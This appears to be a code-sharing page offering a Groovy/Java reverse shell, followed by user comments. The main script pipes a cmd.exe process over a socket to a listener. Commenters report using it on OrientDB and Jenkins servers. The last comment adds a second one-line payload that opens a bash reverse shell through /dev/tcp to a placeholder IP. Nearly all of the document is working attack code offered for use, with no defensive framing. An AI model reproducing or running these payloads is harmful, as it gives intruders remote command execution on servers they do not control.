Pure Groovy/Java Reverse Shell

revsh.groovy

String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Nice one Chris.
Tested this on Orientdb-Linux and worked a treat.

Works well - Thanks :)

N111ce!

Very Nice!

I know I'm late on this, but some things are timeless. This just worked great for me. I simply needed to switch out cmd.exe with /bin/bash because Jenkins was running on a Linux box. Thanks for this!

Well done!

Thanks Man

I tried t run this however I got the error

org.codehaus.groovy.control.MultipleCompilationErrorsException: startup failed:
Script1.groovy: 11: the break statement is only allowed inside loops or switches
@ line 11, column 431.
.sleep(50);try {p.exitValue();break;}cat

buenisima si señor :)

thank you sir.

Very nice, thank you!

Still working! Thanks

Thanks bro <3

This script works is an alternative that works well if it can help you ^_^

String host="Your_IP"
int port=1234
String cmd="bash -i >& /dev/tcp/${host}/${port} 0>&1"
Runtime.getRuntime().exec(["/bin/bash", "-c", cmd] as String[])